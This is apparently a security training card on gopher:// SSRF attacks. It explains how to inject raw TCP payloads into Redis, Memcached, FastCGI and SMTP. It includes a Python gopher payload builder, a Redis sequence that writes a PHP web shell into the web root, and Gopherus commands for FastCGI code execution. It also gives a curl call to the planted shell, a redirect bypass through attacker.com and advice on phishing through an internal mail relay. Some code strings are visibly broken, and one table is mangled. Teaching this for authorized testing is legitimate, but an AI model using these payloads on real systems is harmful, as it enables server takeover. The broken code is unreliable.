Gopher Protocol SSRF: Arbitrary TCP Payload Injection for Redis, Memcached and FastCGI Exploitation
Theory
Security Assessment Methodology
The gopher:// URL scheme (RFC 1436) predates HTTP and was designed for structured document retrieval over TCP. When used in an SSRF context it becomes a powerful primitive: unlike http://, which forces the HTTP client to prepend a well-formed HTTP request line and headers, gopher:// allows the attacker to specify the exact bytes sent over the TCP connection. This makes it possible to speak arbitrary TCP-based protocols — Redis, Memcached, FastCGI, SMTP, MySQL — through an SSRF vulnerability, without the HTTP framing getting in the way.
Gopher URL structure:
gopher://<host>:<port>/<gopher-type><path-and-data>
The first character after the port slash is the Gopher "item type" (single character, conventionally _ for binary/raw use). Everything after that character is sent verbatim as the TCP payload (after URL-decoding). Crucially, a leading (URL-encoded as %0d%0a) can be prepended to flush any partial data and start a fresh command.
Why gopher bypasses HTTP-only SSRF defences. An application that performs URL-scheme validation but checks only that the URL is http:// or https:// will correctly block gopher://. However, applications that rely solely on an IP address deny-list (allowing any scheme as long as the destination IP is not blocked) remain vulnerable to gopher-based attacks that reach unblocked internal hosts.
Protocol targets and payload structure:
| Service | Default Port | Key Commands |
|---|---|---|
| Redis | 6379 | SET key value, CONFIG SET dir /var/www/html, SLAVEOF |
| Memcached | 11211 | `set key 0 0 |
| value | ||
| ` | ||
| FastCGI | 9000 | FCGI_BEGIN_REQUEST + FCGI_PARAMS + FCGI_STDIN |
| SMTP | 25 | HELO, MAIL FROM, RCPT TO, DATA |
| MySQL | 3306 | Auth handshake then SQL (requires unauthenticated or known creds) |
Encoding requirements. The gopher payload must be URL-encoded. Each space becomes %20, each newline becomes %0a, each carriage return becomes %0d. Double-encoding is sometimes required: when the SSRF vulnerability URL-decodes the parameter once before passing it to the HTTP client, the client then decodes again — so the payload must be encoded twice. Test with single encoding first, then double if the single attempt fails or produces garbage.
Technical Deep-Dive
import urllib.parse
def build_gopher_redis(host: str, port: int, commands: list[str]) -> str:
"""
Build a gopher:// URL that sends Redis commands via SSRF.
commands: list of Redis commands as strings, e.g. ["SET flag CTF{test}", "SAVE"]
"""
# Redis inline command format: each command terminated with CRLF
payload = ""
for cmd in commands:
payload += cmd + "
"
# URL-encode the payload (encode everything except safe chars)
encoded = urllib.parse.quote(payload, safe="")
# Gopher URL: type character _ + encoded payload
return f"gopher://{host}:{port}/_{encoded}"
# Example: write a web shell via Redis CONFIG SET + DBSAVE
redis_commands = [
"FLUSHALL",
"SET shell "<?php system($_GET['cmd']); ?>"",
"CONFIG SET dir /var/www/html",
"CONFIG SET dbfilename shell.php",
"SAVE",
]
gopher_url = build_gopher_redis("127.0.0.1", 6379, redis_commands)
print(gopher_url)
# Submit this as the SSRF payload parameter
def double_encode_gopher(gopher_url: str) -> str:
"""Double-encode a gopher URL for SSRF endpoints that decode once before fetching."""
# The gopher:// prefix and host:port must remain readable;
# only double-encode the payload portion (after the type character)
prefix_end = gopher_url.index("/_") + 2
prefix = gopher_url[:prefix_end]
payload = gopher_url[prefix_end:]
# Second-round encoding
return prefix + urllib.parse.quote(payload, safe="")
# Memcached payload: store a value
def build_gopher_memcached(host: str, port: int, key: str, value: str) -> str:
value_bytes = value.encode()
payload = f"set {key} 0 0 {len(value_bytes)}
{value}
"
encoded = urllib.parse.quote(payload, safe="")
return f"gopher://{host}:{port}/_{encoded}"
# Test whether the SSRF endpoint supports gopher:// (requires curl with gopher support)
# Note: modern curl drops gopher support by default; use --with-gopher build or gopherus
# Gopherus tool: generate gopher payloads for Redis, FastCGI, MySQL, SMTP
# https://github.com/tarunkant/Gopherus
python2 gopherus.py --exploit redis
# Manual Redis write-shell via gopher (send through SSRF parameter):
# 1. Generate payload with gopherus
# 2. URL-encode for POST body: python3 -c "import urllib.parse; print(urllib.parse.quote('gopher://...'))"
# 3. Submit as the url/fetch parameter value
# Verify Redis write by fetching the planted file:
curl "https://target.example.com/shell.php?cmd=id"
# FastCGI exploit (PHP-FPM on port 9000) — bypass auth, execute arbitrary PHP:
python2 gopherus.py --exploit fastcgi
# Enter: /var/www/html/index.php (any existing PHP file path)
# Enter: system('id');
Common Assessment Errors
1. Forgetting the leading type character. The gopher URL format requires a single-character item type immediately after the port slash: gopher://host:port/_payload. Omitting the _ causes the first byte of the payload to be interpreted as the type character, corrupting the data sent to the service.
2. Single-encoding when double-encoding is required. When the application decodes the URL parameter before passing it to the HTTP client, the %0d%0a sequences will have become literal by the time the client processes the URL — which the client then encodes again, stripping them. Test response differences between single and double encoding to determine which layer decodes the parameter.
3. Not accounting for Redis authentication. If Redis requires a password (requirepass directive), the AUTH password command must be prepended to the payload. Without it, all subsequent commands are rejected with -NOAUTH.
4. Assuming FastCGI is always on port 9000. PHP-FPM can be configured to listen on a Unix domain socket (/run/php/php8.1-fpm.sock) rather than a TCP port. Gopher cannot target Unix sockets; in that case, alternative SSRF techniques (HTTP to a local nginx reverse proxy that forwards to the socket) are required.
5. Ignoring SMTP relay opportunities. A gopher SSRF that can reach an internal SMTP server allows sending arbitrary email with a spoofed sender — useful for phishing from a trusted internal relay IP, bypassing SPF checks on internal mail infrastructure. Document this finding separately from technical code execution.
6. Not testing whether the application follows gopher redirects. Some applications disallow gopher:// directly but follow HTTP redirects. Hosting a redirect from http://attacker.com/r to gopher://127.0.0.1:6379/_... may bypass scheme-based filtering if redirect destinations are not re-validated.
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.